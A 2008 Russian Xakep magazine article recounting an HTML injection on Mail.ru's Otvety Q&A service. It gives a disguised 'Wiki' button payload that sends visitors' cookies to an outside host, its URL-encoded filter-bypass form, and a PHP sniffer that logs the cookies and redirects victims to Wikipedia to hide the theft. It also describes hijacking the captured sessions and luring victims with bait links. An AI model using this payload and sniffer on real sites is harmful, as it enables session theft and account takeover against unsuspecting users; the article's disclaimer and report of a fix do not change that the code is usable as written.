Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #112, АПРЕЛЬ 2008 г.

Вкусное печенье в мыле

Lexx918 (lexx918@mail.ru)

Хакер, номер #112, стр. 112-074-1

Небезопасные сессии на проекте «Ответы@mail.RU»

Святой Валентин порадовал не только влюбленных, но и нас с тобой, на пару дней предоставив XSS в сервисе Ответов от Mail.ru. Как бы гнусно это ни было, самое время поживиться печенюшками в виде сердечек! И не забыть подарить их всем любимым... ХАКЕРАМ!

Как оно было

Четырнадцатое февраля, год 2008. Мыло, ася и прочие средства коммуникации уже до отказа завалены сердечками и прочей романтичной лабудой. Народ дурачится, влюбляется, ссорится и мирится в Сети. А также скамит, ломает, и сканит. И тут, по иронии судьбы, мне в ящик свалилось несколько уведомлений о том, что мои комменты на проекте «Ответы» mail'а были признаны лучшими. Я полез на проект освежить в памяти собственное творчество. Мимолетом просмотрел ТОП вопросов и пару страниц в рубрике компьютеров и интернета. Листая темы, я стал все чаще замечать появление сообщений странного содержания. Народ ругался на выскакивающие окошки в IE, на левые фреймы, вставленные прямо в вопросы и ответы пользователей… Конечно же, речь зашла об XSS, наличие которой я не мог не проверить.

Быстренько сварганив очередной вопрос типа «а есть ли тут XSS?», я поднял его в топы (не бесплатно, к сожалению) и стал ждать реакции. Добрые люди запостили ответ с фреймом размером раза в два больше разрешения моего монитора и подсказали, как это дело протолкнуть мимо фильтров. Дальше оставаться в стороне я уже не мог.

Ведь если на майле реально украсть куки (а значит и чужую сессию), то хакеру станет доступно и мыло жертвы (точнее, появится возможность авторизации на mail.ru без ввода пароля). Очень и очень заманчиво!

Кто ищет, тот найдет

Собственно, как такового, межсайтового скриптинга на проекте не обнаружилось. Максимум, что можно было сделать – вставить более или менее разрешенные теги оформления шрифта, таблицы, фреймы и картинки. Любые скрипты, валидно написанные обработчики событий и прочий «опасный» контент сразу же квотился либо реплейсом вообще удалялся со страниц. Миф о похищении куков витал в воздухе и распространялся со скоростью 300 символов в минуту!

Попытки отправить в тексте скрипт в голом виде либо внедрить его в события, скрытые от пользователя, успехом не увенчались. Что ж, придется попробовать сыграть на доверии простодушных юзверей. И так как народ приходит на сайт за ответами, я решил помочь бедолагам найти ответы сразу на все вопросы, а именно – немного разрекламировать WiKi, добавив в свой вопрос кнопочку для перехода на сайт энциклопедии. В итоге получился примерно такой код:

<input type=button value=Wiki onclick="document.location.replace('http://site.xx/wiki.php?cookies='+escape(document.cookie));">

Как видишь, тут всего один тег, который отображает кнопочку на странице, но стоит ее нажать и браузер будет перенаправлен на наш сторонний портал. Причем в адресной строке мы дополнительно передадим один единственный параметр cookies, в котором и будут храниться куки жертвы. Что с ними делать, рассказывать не буду: уж что такое сессии и с чем их едят, ты должен знать!

Обрати внимание на JS-функцию escape() – без нее строка куков будет передаваться «как есть», а это недопустимо: пробелы, знаки амперсанда или одинарные кавычки порвут в клочья код события нажатия кнопки. А подготовив всю строку этой функцией, мы сохраним ее как одно целое значение GET-параметра cookies.

Научным методом тыка было доказано: для успешного проникновения на страницы сайта, этот код дополнительно надо «заURLэнкодить». В PHP этим занимается функция urlencode(string). Ею я и воспользовался. Чтобы пробелы оставались пробелами, их я вернул в исходный вид (urlencode превращает их в знаки «+»).

Итоговый URL-кодированный текст я и запостил на сайте:

%3Cinput type%3Dbutton value%3DWiki onclick%3D%22document.location.replace%28%27http%3A%2F%2Fsite.xx%2Fwiki.php%3Fcookies%3D%27%2Bescape%28document.cookie%29%29%3B%22 %3E

С виду обычный текст, дополнительная кнопочка для перехода на сайт Википедии. В общем-то, ничего особенного. Главное, чтобы нас ни в чем не заподозрил обыватель. А посему пишем простенький снифер на нашем удаленном портале и не забываем перенаправить жертву на запрашиваемый сайт.

Все по полочкам

В сети часто проскакивают вопросы, о том, как и где можно отследить IP жертвы. Как вообще его узнать, где раздобыть снифер под это дело, etc. Бросьте вы это занятие. Не надо полагаться в столь интимном вопросе на чужих людей. Пишите сами, и основной проблемой останется лишь загнать жертву на ваш сайт «посмотреть фото в сауне» или «узнать номер телефона симпатичной блондиночки», под ником и аватаром которой вы в очередной раз скрываетесь, бороздя чаты и форумы в поисках легкой наживы.

Вот вам пример того, как сохранить параметр cookies адресной строки. Аналогично логируются и IPы и все остальное. Достаточно внимательно почитать, что нам доступно в коде на примере того же PHP - www.php.net/manual/ru/reserved.variables.php.

<?php

if(isset($_GET['cookies'])){

$f = @fopen('cookies.txt', 'a');

if($f){

fwrite($f, $_GET['cookies']."\r\n");

fclose($f);

}

}

header('Location: http://ru.wikipedia.org/wiki/');

?>

Проверяем наличие в суперглобальном массиве GET искомого параметра. Далее пытаемся открыть (создать, если не было ранее) файл, куда будем накапливать построчно данные о жертвах. Если все прошло успешно, пишем новую строку – нужные нам сведения, завершаем их переводом строки и закрываем файл. В любом случае отдаем браузеру заголовок Location, который перенаправит его на другой адрес. Так мы немного замаскируемся от глаз неопытного пользователя.

При работе с хэдерами помни, что они не могут передаваться в браузер после выдачи контента. Все заголовки страницы должны идти до любого вывода данных. А так как мы скрываем, по возможности максимально, наш снифер, то и вывод ошибок допустить нельзя (таких как, например, нет переменной в GET-массиве, не удалось создать или открыть файл etc.), иначе перенаправить браузер жертвы не получится (текст ошибок появится раньше, и новый location будет проигнорирован). Это выдаст нас с потрохами.

Проверяем работу! Кликаем на кнопочке на сайте Ответов и почти тут же попадаем на Википедию. Проверяем содержимое файла cookies.txt и, о чудо, видим там не только свои куки, но и печенюшки других посетителей. Тех самых, что успели за время тестов добродушно поделиться с нами своими аккаунтами. Остается только подменить их кукисы в браузере, обновить страницу и мы превратимся в другого пользователя, сможем постить от его имени, ковыряться в личных настройках, приватных данных и прочих вкусностях. Хотя поменять что-то особо важное нам все равно не позволят без ввода пароля.

Но так как это не очень законно, бежим скорее в саппорт и жалуемся на работу программеров, допустивших баг. Сами, конечно, тут же забываем события последних 10 минут и никогда, запомни, никогда не повторяем их, кроме как в целях ознакомления!

Коллаж багов на Mail.ru

Мне стало любопытно и я не поленился найти хоть какие-нибудь упоминания о прошлых взломах и глюках mail'а. Вот что получилось!

  • ][акер #039. В твоем любимом журнале выходит статья «Mail.Ru, дырка за дыркой», где автор описывает, пожалуй, самые первые уязвимости, датированные еще 1999 и 2000 годами!
  • ][акер #063. В марте 2004 печатается статья, наглядно показывающая, как можно (читай «нужно») заспуфить mail.ru и украсть пасс. Вины самого майла тут немного и бажится он на пару с дырявым ослом.
  • ][акер #068. В августе 2004 в свет выходит статья о взломе проекта «Афиша» на tv.mail.ru через так называемую дыру «Ядовитый ноль», ну и самого mail.ru через CSS-баг.
  • 29 ноября 2005 года. Сбой сервиса, продолжавшийся пару тройку часов вечером того дня, перемешал письма пользователей, доставив их не по адресу. В итоге многие получили десятки «левых» сообщений от совершенно незнакомых им людей. Но утверждать, что это следствие взлома нельзя. С кем не бывает!
  • 12 марта 2007 года. Вообще, забавный, по-моему, случай! Дело дошло до нашей с вами многоуважаемой власти. Депутат Виктор Алкснис пожаловался в МинСвязь на плохую работу бесплатных почтовых сервисов. Подробности ты просто обязан прочитать на www.lenta.ru/news/2007/03/12/safety

Уверен, стоит капнуть и ты с легкостью найдешь еще кучу интересного как в прошлом, так и в настоящем Mail'а.

INFO

Внимание! Информация представлена исключительно с целью ознакомления! Ни автор, ни редакция за твои действия ответственности не несет!

О теории XSS наш журнал пишет регулярно. Посему перерывай подшивку и будь в теме по этой уязвимости.

На данный момент баг в Mail.RU уже не работает. Надо отдать должное поддержке – исправили за пару часов.

VIDEO

На DVD ты найдешь увлекательный видеоурок, повторяющий шаги по хищению почтовых плюшек.

Содержание